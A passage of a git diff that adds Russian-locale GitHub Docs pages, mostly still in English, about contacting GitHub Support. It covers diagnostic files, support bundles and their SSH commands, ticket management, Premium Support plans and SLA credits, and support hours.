b/translations/ru-RU/content/support/contacting-github-support/providing-data-to-github-support.md new file mode 100644 index 000000000000..c2460886cc2c --- /dev/null +++ b/translations/ru-RU/content/support/contacting-github-support/providing-data-to-github-support.md @@ -0,0 +1,184 @@ +--- +title: Providing data to GitHub Support +intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we sometimes require some additional information from you.' +shortTitle: Providing data +versions: + ghes: '*' +redirect_from: + - /enterprise/admin/guides/installation/troubleshooting + - /enterprise/admin/articles/support-bundles + - /enterprise/admin/guides/enterprise-support/providing-data-to-github-enterprise-support + - /enterprise/admin/enterprise-support/providing-data-to-github-support + - /admin/enterprise-support/providing-data-to-github-support + - /admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support +topics: + - Support +--- + +## About diagnostic files and support bundles + +{% data variables.contact.github_support %} may ask you to provide additional data in the form of sanitized log files. There are three types of log file you may be asked to provide. + +Diagnostic files contain information about a {% data variables.product.prodname_ghe_server %} instance's settings and environment, support bundles contain diagnostics and logs from the past two days, and extended support bundles also contain diagnostics and logs but from the past seven days. + +## About log file sanitization + +Authentication tokens, keys, and secrets are removed from log files in the following log directories contained within a support bundle or diagnostics file: + +* `alambic-logs` +* `babeld-logs` +* `codeload-logs` +* `enterprise-manage-logs` +* `github-logs` +* `hookshot-logs` +* `lfs-server-logs` +* `semiotic-logs` +* `task-dispatcher-logs` +* `pages-logs` +* `registry-logs` +* `render-logs` +* `svn-bridge-logs` + +## Creating and sharing diagnostic files + +Diagnostic files are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contains: + +- Client license information, including company name, expiration date, and number of user licenses +- Version numbers and SHAs +- VM architecture +- Host name, private mode, SSL settings +- Load and process listings +- Network settings +- Authentication method and details +- Number of repositories, users, and other installation data + +You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility. + +### Creating a diagnostic file from the {% data variables.enterprise.management_console %} + +You can use this method if you don't have your SSH key readily available. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.type-management-console-password %} +{% data reusables.enterprise_management_console.support-link %} +5. Click **Download diagnostics info**. + +### Creating a diagnostic file using SSH + +You can use this method without signing into the {% data variables.enterprise.management_console %}. + +Use the [ghe-diagnostics](/enterprise/admin/guides/installation/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance. + +```shell +$ ssh -p122 admin@HOSTNAME -- 'ghe-diagnostics' > diagnostics.txt +``` + +## Creating and sharing support bundles + +After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as: + +- Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML +- {% data variables.enterprise.management_console %} log +- `github-logs/exceptions.log`: Information about 500 errors encountered on the site +- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs +- `babeld-logs/babeld.log`: Git proxy logs +- `system-logs/haproxy.log`: HAProxy logs +- `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs +- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} configuration logs +- `collectd/logs/collectd.log`: Collectd logs +- `mail-logs/mail.log`: SMTP email delivery logs + +For more information, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)." + +Support bundles include logs from the past two days. To get logs from the past seven days, you can download an extended support bundle. For more information, see "[Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles)." + +{% tip %} + +**Tip:** When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle. + +{% endtip %} + +### Creating a support bundle from the {% data variables.enterprise.management_console %} + +You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.type-management-console-password %} +{% data reusables.enterprise_management_console.support-link %} +5. Click **Download support bundle**. +{% data reusables.enterprise_enterprise_support.sign-in-to-support %} +{% data reusables.enterprise_enterprise_support.upload-support-bundle %} + +### Creating a support bundle using SSH + +You can use these steps to create and share a support bundle if you have SSH access to {% data variables.location.product_location %} and have outbound internet access. + +{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} + +1. Download the support bundle via SSH: + ```shell + $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz + ``` + For more information about the `ghe-support-bundle` command, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)". +{% data reusables.enterprise_enterprise_support.sign-in-to-support %} +{% data reusables.enterprise_enterprise_support.upload-support-bundle %} + +### Uploading a support bundle using your enterprise account + +{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} +{% data reusables.enterprise-accounts.settings-tab %} +3. In the left sidebar, click **Enterprise licensing**. + ![Screenshot showing "Enterprise licensing" link in the enterprise account settings sidebar.](/assets/images/help/enterprises/enterprise-licensing-tab.png) +4. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**. + ![Screenshot showing "Upload a support bundle link".](/assets/images/enterprise/support/upload-support-bundle.png) +5. Under "Select an enterprise account", select the support bundle's associated account from the drop-down menu. + ![Screenshot showing the dropdown menu to select the support bundle's enterprise account.](/assets/images/enterprise/support/support-bundle-account.png) +6. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**. + ![Screenshot showing the "Choose file" button to upload a support bundle file.](/assets/images/enterprise/support/choose-support-bundle-file.png) +7. Click **Upload**. + +### Uploading a support bundle directly using SSH + +You can directly upload a support bundle to our server if: +- You have SSH access to {% data variables.location.product_location %}. +- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. + +1. Upload the bundle to our support bundle server: + ```shell + $ ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u' + ``` + +## Creating and sharing extended support bundles + +Support bundles include logs from the past two days, while _extended_ support bundles include logs from the past seven days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}. + +To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be. + +### Creating an extended support bundle using SSH + +You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.location.product_location %} and you have outbound internet access. + +1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command: + ```shell + $ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o -x' > support-bundle.tgz + ``` +{% data reusables.enterprise_enterprise_support.sign-in-to-support %} +{% data reusables.enterprise_enterprise_support.upload-support-bundle %} + +### Uploading an extended support bundle directly using SSH + +You can directly upload a support bundle to our server if: +- You have SSH access to {% data variables.location.product_location %}. +- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. + +1. Upload the bundle to our support bundle server: + ```shell + $ ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u -x' + ``` + +## Further reading + +- "[About GitHub Support](/support/learning-about-github-support/about-github-support)" +- "[Generating a Health Check for your enterprise](/enterprise-server@latest/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)" diff --git a/translations/ru-RU/content/support/contacting-github-support/viewing-and-updating-support-tickets.md b/translations/ru-RU/content/support/contacting-github-support/viewing-and-updating-support-tickets.md new file mode 100644 index 000000000000..9821d9b5b6f3 --- /dev/null +++ b/translations/ru-RU/content/support/contacting-github-support/viewing-and-updating-support-tickets.md @@ -0,0 +1,69 @@ +--- +title: Просмотр и обновление запросов в службу поддержки +intro: 'Вы можете просматривать запросы в службу поддержки{% ifversion ghes or ghec %}, совместно работать над запросами с коллегами{% endif %} и отвечать {% data variables.contact.github_support %}, используя {% data variables.contact.support_portal %}.' +shortTitle: Managing your tickets +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Support +ms.openlocfilehash: 35c7b28232c0d11170ea9585480b2cfb1785ebd0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147051983' +--- +## Сведения об управлении запросами в службу поддержки + +{% data reusables.support.zendesk-old-tickets %} + +Вы можете использовать [Портал поддержки GitHub](https://support.github.com/) для просмотра текущих и прошлых запросов в службу поддержки и ответа на {% data variables.contact.github_support %}. Через 120 дней разрешенные запросы архивируются{% ifversion ghec or ghes or ghae %}, и архивные запросы можно просматривать только для корпоративных учетных записей{% endif %}. + +{% ifversion ghes or ghec %} {% data reusables.enterprise-accounts.support-entitlements %} {% endif %} + +## Просмотр недавних запросов в службу поддержки + +{% data reusables.support.view-open-tickets %} +1. В текстовом поле можно просмотреть журнал комментариев. Последний ответ находится вверху. +![Снимок экрана: журнал комментариев к запросу в службу поддержки, последний ответ указан вверху.](/assets/images/help/support/support-recent-response.png) + +{% ifversion ghec or ghes or ghae %} + +## Просмотр архивных запросов в службу поддержки + +Вы можете просматривать архивные запросы только для корпоративной учетной записи. + +{% data reusables.support.navigate-to-my-tickets %} +1. Выберите раскрывающееся меню **Мои запросы** и щелкните имя корпоративной учетной записи. + +{% indented_data_reference reusables.support.entitlements-note spaces=3 %} + + ![Снимок экрана: раскрывающееся меню "Мои запросы".](/assets/images/help/support/ticket-context.png) +1. В таблице "Мои запросы" щелкните **Просмотреть архивные запросы**. + +{% endif %} + +## Обновление запросов в службу поддержки. + +{% data reusables.support.view-open-tickets %} +1. При необходимости, если проблема устранена, в текстовом поле нажмите кнопку **Закрыть запрос**. +![Снимок экрана: расположение кнопки "Закрыть запрос".](/assets/images/help/support/close-ticket.png) +1. Чтобы ответить службе поддержки GitHub и добавить новый комментарий в запрос, введите ответ в текстовом поле. +![Снимок экрана: текстовое поле "Добавить комментарий".](/assets/images/help/support/new-comment-field.png) +1. Чтобы добавить комментарий к запросу, нажмите кнопку **Комментарий**. +![Снимок экрана: кнопка "Комментарий".](/assets/images/help/support/add-comment.png) + +{% ifversion ghec or ghes %} +## Совместная работа с запросами в службу поддержки + +Вы можете совместно работать со своими коллегами над запросами в службу поддержки с помощью портала поддержки. Владельцы, менеджеры по выставлению счетов и другие участники предприятия с правами специалистов службы поддержки могут просматривать запросы, связанные с корпоративной учетной записью или организацией, которая управляется корпоративной учетной записью. Дополнительные сведения см. в разделе [Управление правами специалистов службы поддержки для вашего предприятия](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). + +Помимо просмотра запросов, вы также можете добавлять комментарии в запросы в службу поддержки, если ваш адрес электронной почты скопирован в запросе или если пользователь, открывший запрос, использовал адрес электронной почты с доменом, проверенным для корпоративной учетной записи или организации, которая управляется корпоративной учетной записью. Дополнительные сведения о проверке домена см. в разделе [Проверка или утверждение домена для вашего предприятия](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise) и [Проверка или утверждение домена для вашей организации](/enterprise-cloud@latest/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). + +{% endif %} + +## Дополнительные материалы + +- [Сведения о поддержке GitHub](/support/learning-about-github-support/about-github-support) diff --git a/translations/ru-RU/content/support/index.md b/translations/ru-RU/content/support/index.md new file mode 100644 index 000000000000..06e6924319c2 --- /dev/null +++ b/translations/ru-RU/content/support/index.md @@ -0,0 +1,40 @@ +--- +title: Работа с поддержкой GitHub +shortTitle: GitHub Support +layout: product-landing +intro: 'GitHub предлагает различные уровни поддержки для каждого продукта, включая поддержку форума сообщества и ограниченную поддержку по электронной почте для всех пользователей, полную поддержку по электронной почте для всех платных продуктов, а также поддержку по телефону и электронной почте в режиме 24/7 в рамках соглашения об уровне обслуживания (SLA), если ваша учетная запись включает {% data variables.contact.premium_support %}.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +redirect_from: + - /enterprise/admin/enterprise-support + - /admin/enterprise-support + - /categories/working-with-github-support + - /forum + - /github/working-with-github-support +children: + - learning-about-github-support + - contacting-github-support +topics: + - Support +introLinks: + overview: /support/learning-about-github-support/about-github-support +featuredLinks: + guides: + - /support/contacting-github-support/creating-a-support-ticket + - /support/contacting-github-support/viewing-and-updating-support-tickets + - '{% ifversion ghes or ghec %}/support/learning-about-github-support/about-ticket-priority{% endif %}' + - '{% ifversion ghes %}/support/contacting-github-support/providing-data-to-github-support{% endif %}' + popular: + - /support/learning-about-github-support/about-github-support + - /support/contacting-github-support/creating-a-support-ticket +ms.openlocfilehash: 2d255401f41ce30340144e6e11f71de924b8998d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145140113' +--- + diff --git a/translations/ru-RU/content/support/learning-about-github-support/about-github-premium-support.md b/translations/ru-RU/content/support/learning-about-github-support/about-github-premium-support.md new file mode 100644 index 000000000000..6e5bd60a1970 --- /dev/null +++ b/translations/ru-RU/content/support/learning-about-github-support/about-github-premium-support.md @@ -0,0 +1,144 @@ +--- +title: About GitHub Premium Support +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' +shortTitle: GitHub Premium Support +versions: + ghec: '*' + ghes: '*' +redirect_from: + - /articles/about-github-premium-support + - /articles/about-github-premium-support-for-github-enterprise-cloud + - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise + - /enterprise/admin/guides/enterprise-support/about-premium-support + - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise-server + - /admin/enterprise-support/about-github-premium-support-for-github-enterprise-server + - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise + - /admin/enterprise-support/about-github-premium-support-for-github-enterprise + - /github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud + - /admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server + - /admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise + - /support/about-github-support/about-github-premium-support +topics: + - Support +--- + +{% note %} + +**Notes:** + +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of November 2021. + +- {% data reusables.support.data-protection-and-privacy %} + +{% endnote %} + +## About {% data variables.contact.premium_support %} + +{% data reusables.support.premium-support-features %} + +## {% data variables.contact.premium_support %} plans + +There are two {% data variables.contact.premium_support %} plans: Premium and Premium Plus / {% data variables.product.microsoft_premium_plus_support_plan %}. + +| | {% data variables.product.premium_support_plan %} | {% data variables.product.premium_plus_support_plan %} | +|---|---|------| +| Hours of operation | 24 x 7 | 24 x 7 | +| Initial response time |
  • 30 minutes for {% data variables.product.support_ticket_priority_urgent %}
  • 4 hours for {% data variables.product.support_ticket_priority_high %}
|
  • 30 minutes for {% data variables.product.support_ticket_priority_urgent %}
  • 4 hours for {% data variables.product.support_ticket_priority_high %}
| +| Support channels |
  • Online ticket submission
  • Phone support in English via callback request
  • Screen share request for critical issues
|
  • Online ticket submission
  • Phone support in English via callback request
  • Screen share request for critical issues
| +| Training | Access to premium content |
  • Access to premium content
  • 1 virtual training class per year
| +| Members with support entitlements | 20 | 20 | +| Resources | Priority ticket handling |
  • Priority ticket handling
  • Named Customer Reliability Engineer
| +| Health Checks | Unlimited automated Health Check reports (see "[Generating a Health Check for your enterprise]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)") |
  • Unlimited automated Health Check reports (see "[Generating a Health Check for your enterprise]({% ifversion not ghes%}/enterprise-server@latest{% endif %}/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)")
  • Quarterly enhanced Health Checks, with findings, interpretations, and recommendations from a Customer Reliability Engineer (by request)
| +| Technical advisory hours| None | 4 hours per month | +| Application upgrade assistance | None | By request | +| Cloud planning | None | By request | + + {% note %} + + **Notes:** + - Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to members of organizations owned by their enterprise account. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." + - For the {% data variables.product.premium_plus_support_plan %}, 50% of unused Managed Services hours roll over to the next month and expire at the end of the quarter. + + {% endnote %} + + +## Signing up for {% data variables.contact.premium_support %} + +To sign up for {% data variables.contact.premium_support %} or upgrade your plan, you can [contact our account management team](https://enterprise.github.com/contact) or call [+1 (877) 448-4820](tel:+1-877-448-4820). + +## Scope of support + +{% data reusables.support.scope-of-support %} + +## Contacting {% data variables.contact.premium_support %} + +{% data variables.contact.premium_support %} customers can use the {% data variables.contact.contact_landing_page_portal %} to report issues in writing, in English. + +## Hours of operation + +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at "[About {% data variables.contact.github_support %}](/enterprise-server@latest/admin/enterprise-support/overview/about-github-enterprise-support)." + +## Service Level Agreement response times + +For tickets you submit, support is available 24 hours a day, 7 days per week. The initial response time guaranteed by the SLA is dependent on the priority level of the ticket. Response time begins when {% data variables.contact.premium_support %} sets the priority level of the ticket. A response does not mean the issue has been resolved. + +| Ticket priority level | Initial response time | +| --- | ---| +| {% data variables.product.support_ticket_priority_urgent %} | 30 minutes | +| {% data variables.product.support_ticket_priority_high %} | 4 hours | + +{% data reusables.enterprise_enterprise_support.installing-releases %} + +You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. + +## Assigning a priority to a support ticket + +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. + +- [Ticket priorities for {% data variables.product.prodname_ghe_cloud %}](#ticket-priorities-for-github-enterprise-cloud) +- [Ticket priorities for {% data variables.product.prodname_ghe_server %}](#ticket-priorities-for-github-enterprise-server) + +### Ticket priorities for {% data variables.product.prodname_ghe_cloud %} + +| Priority | Description | Examples | +| :---: | --- | --- | +| {% data variables.product.support_ticket_priority_urgent %} | Production workflows for your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are failing due to critical service errors or outages, and the failure directly impacts the operation of your business. |
  • Errors or outages on {% data variables.product.prodname_dotcom_the_website %} affect core Git or web application functionality for all members of your organization or enterprise
| +| {% data variables.product.support_ticket_priority_high %} | Account or security issues with your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are causing limited impact to your business. |
  • An organization or enterprise owner has unintentionally deleted an organization
  • An organization or enterprise member has uploaded sensitive data in a commit, issue, pull request, or issue attachment
| +| {% data variables.product.support_ticket_priority_normal %} | Members of your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} are experiencing limited or moderate issues with {% data variables.product.prodname_dotcom_the_website %}, or you have general concerns or questions about your organization or enterprise. |
  • Questions about using APIs and features for your organization or enterprise
  • Issues with tools for organization data migration that {% data variables.product.company_short %} provides
  • Features related to your organization or enterprise not working as expected
  • General security questions about your organization or enterprise
| +| {% data variables.product.support_ticket_priority_low %} | You have a question or suggestion about your organization or enterprise on {% data variables.product.prodname_ghe_cloud %} that is not time-sensitive, or does not otherwise block the productivity of your team. |
  • Excessive resource usage for your organization or enterprise
  • Requests for health checks
  • Help with using Gists, notifications, wikis, {% data variables.product.prodname_pages %}, {% data variables.product.prodname_desktop %}, or other peripheral services or features with your organization or enterprise
  • Feature requests
  • Product feedback
| + + +### Ticket priorities for {% data variables.product.prodname_ghe_server %} + +{% data reusables.support.ghes-priorities %} + +## Resolving and closing support tickets + +{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, workaround instructions, or by advising you of an available {% data variables.product.prodname_ghe_server %} release that addresses the issue. + +If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved. + +{% data variables.contact.premium_support %} may close a ticket if the ticket is outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket. + +## Receiving credits for missed responses to support tickets + +If you don't receive an initial response within the guaranteed response time to more than four tickets in a given quarter based on {% data variables.product.company_short %}'s fiscal year, you're eligible for a credit. To honor the SLA, {% data variables.product.company_short %} will refund 20% of the quarterly {% data variables.contact.premium_support %} fee in cash. To receive the refund, you must submit a credit request. + +The credit request must be made within 30 days of the end of the quarter during which {% data variables.contact.premium_support %} did not respond to your tickets within the designated response time. Credit requests will not be honored if the respective deadline has passed. Once the respective deadline passes, you have waived the ability to claim a refund for the qualified credit. + +To receive a refund, you must submit a completed credit request to . To be eligible, the credit request must: +- Be sent from an email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} +- Be received by {% data variables.product.company_short %} by the end of the 30th day after the quarter in which the four qualifying credits occurred +- Include "Credit Request" in the subject line + +The following information **must be included** in your credit request: +- **Date** (The date must be within 30 days after the quarter based on {% data variables.product.company_short %}’s fiscal year end in which the claims occurred [January 31, April 30, July 31, or October 31].) +- **Customer contact** (You must specify both name and email address.) +- **Customer address** +- **Qualifying credits** (You must provide the date of each qualifying credit and the associated ticket number.){% ifversion fpt or ghec %} +- **Name of {% data variables.product.prodname_ghe_cloud %} organization**{% endif %} +- **Ticket numbers** + +## Accessing premium content + +You can access premium content by signing in to the {% data variables.contact.contact_landing_page_portal %}. diff --git a/translations/ru-RU/content/support/learning-about-github-support/about-github-support.md b/translations/ru-RU/content/support/learning-about-github-support/about-github-support.md new file mode 100644 index 000000000000..f5d6525f057b --- /dev/null +++ b/translations/ru-RU/content/support/learning-about-github-support/about-github-support.md @@ -0,0 +1,200 @@ +--- +title: About GitHub Support +intro: You can contact GitHub Support for help troubleshooting issues you encounter while using GitHub. +shortTitle: About GitHub Support +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +redirect_from: + - /enterprise/admin/enterprise-support/about-github-enterprise-support + - /admin/enterprise-support/about-github-enterprise-support + - /admin/enterprise-support/overview/about-github-enterprise-support + - /articles/about-github-support + - /github/working-with-github-support/about-github-support + - /articles/github-enterprise-cloud-support + - /github/working-with-github-support/github-enterprise-cloud-support + - /articles/business-plan-support + - /articles/github-business-cloud-support + - /admin/enterprise-support/about-support-for-advanced-security + - /enterprise-server/admin/enterprise-support/about-support-for-advanced-security +topics: + - Support +--- + +## About {% data variables.contact.github_support %} + +The support options available to {% data variables.product.prodname_dotcom %} users depend on the products used by their personal accounts, any organizations or enterprises they are members of, and any {% data variables.product.prodname_ghe_server %} instances they manage. Each product includes a default level of support and accounts that use {% data variables.product.prodname_enterprise %} can purchase {% data variables.contact.premium_support %}. + +{% ifversion fpt %} +If you're a member of an organization that uses {% data variables.product.prodname_enterprise %}, you can use the drop-down menu in the upper-right corner of {% data variables.product.prodname_docs %} to view a version of these articles appropriate to your product. For more information, see "[About versions of GitHub Docs](/get-started/learning-about-github/about-versions-of-github-docs)." +{% endif %} + +{% ifversion not ghae %} + +| | {% data variables.product.prodname_gcf %} | Standard support | Premium support | +|----|---------------|-------|---------------| +| {% data variables.product.prodname_free_user %} | {% octicon "check" aria-label="Check" %} | | | +| {% data variables.product.prodname_pro %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | | +| {% data variables.product.prodname_team %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | | +| {% data variables.product.prodname_ghe_cloud %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | Available to purchase | +| {% data variables.product.prodname_ghe_server %} | {% octicon "check" aria-label="Check" %} | {% octicon "check" aria-label="Check" %} | Available to purchase | + +{% endif %} + +{% ifversion ghes %} + +You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.contact_enterprise_portal %} for help with: + - Installing and using {% data variables.product.product_name %} + - Identifying and verifying the causes of suspected errors + - Installing and using {% data variables.product.prodname_advanced_security %} + +{% endif %} + +{% ifversion ghes or ghec %} + +{% data reusables.support.premium-support-features %} + +For more information, see "[About GitHub Premium Support](/support/about-github-support/about-github-premium-support)." + +{% endif %} + +{% ifversion fpt or ghec or ghae %} + +Before contacting {% data variables.contact.github_support %}, check if there are currently any incidents affecting services on {% data variables.product.product_name %} on +{%- ifversion fpt or ghec %} +[{% data variables.product.prodname_dotcom %} Status](https://githubstatus.com/) +{%- elsif ghae %} +[{% data variables.product.product_name %} Status](https://ghestatus.com/) +{%- endif %}. For more information, see "[About GitHub status](#about-github-status)." + +{% endif %} + +{% ifversion fpt %} +{% data reusables.support.free-and-paid-support %} + +To report account, security, and abuse issues, or to receive assisted support for a paid account, visit the {% data variables.contact.contact_support_portal %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." +{% endif %} + +{% ifversion fpt %} +If you have any paid product or are a member of an organization with a paid product, you can contact {% data variables.contact.github_support %} in English. +{% else %} +With {% data variables.product.product_name %}, you have access to support in English and Japanese. +{% endif %} + +{% ifversion ghes or ghec %} + +To contact {% data variables.contact.github_support %}, visit the {% data variables.contact.contact_support_portal %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." + +{% elsif ghae %} + +You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.ae_azure_portal %} to report issues in writing. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." + +{% endif %} + +{% ifversion not ghae %} +Email communication from GitHub Support will always be sent from either a `github.com` or `githubsupport.com` address. +{% endif %} + +## Scope of support + +{% data reusables.support.scope-of-support %} + +{% ifversion ghec or fpt or ghae %} +## About GitHub status + +You can check for any incidents currently affecting {% data variables.product.product_name %} services and view information about past incidents on {% data variables.product.prodname_dotcom %}'s [Status page]({% ifversion fpt or ghec %}https://githubstatus.com{% elsif ghae %}https://ghestatus.com{% endif %}). + +You can also subscribe and get alerted via email, text message, and webhook whenever there's an incident affecting {% data variables.product.product_name %}. + +{% endif %} + +{% ifversion ghec or ghes %} +## About support entitlement + +Enterprise owners and billing managers automatically have a support entitlement, which enables them to create, view, and comment on support tickets associated with their enterprise account. + +Enterprise owners can also add support entitlements to members of organizations owned by their enterprise account, allowing those members to create, view, and comment on support tickets. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." + +{% endif %} + +{% ifversion fpt or ghec %} +## Granting {% data variables.contact.github_support %} temporary access to a private repository + +If {% data variables.contact.github_support %} needs to access a private repository to address your support request, the owner of the repository will receive an email with a link to accept or decline temporary access. The owner will have 20 days to accept or decline the request before the request expires. If the owner accepts the request, {% data variables.contact.github_support %} will have access the repository for five days. During this window, {% data variables.contact.github_support %} staff with the required privileges can unlock the repository for up to two hours at a time, and will relock the repository if the work is completed early. All {% data variables.contact.github_support %} staff access generates audit log events, and the visibility of the repository is not affected at any time. + +{% data variables.contact.github_support %} will never access your private repositories without your explicit consent. For more information, see the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service#3-access). +{% endif %} + +{% ifversion ghec or ghes %} +## Contacting GitHub Sales and GitHub Training + +For pricing, licensing, renewals, quotes, payments, and other related questions, contact {% data variables.contact.contact_enterprise_sales %} or call [+1 (877) 448-4820](tel:+1-877-448-4820). + +To learn more about training options, including customized trainings, see [{% data variables.product.company_short %}'s training site](https://services.github.com/). + +{% note %} + +**Note:** Training is included in the {% data variables.product.premium_plus_support_plan %}. For more information, see "[About GitHub Premium Support](/support/about-github-support/about-github-premium-support)." + +{% endnote %} + +{% endif %} + +{% ifversion ghes or ghec %} +## Hours of operation + +### Support in English + +For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours. + +{% ifversion ghes %} +For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays. +{% endif %} + +### Support in Japanese + +For standard non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. + +{% ifversion ghes %} +For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays. +{% endif %} + +For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see "[Holiday schedules](#holiday-schedules)." + +## Holiday schedules + +For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays. + +### Holidays in the United States + +{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets. + +{% data reusables.enterprise_enterprise_support.support-holiday-availability %} + +### Holidays in Japan + +{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 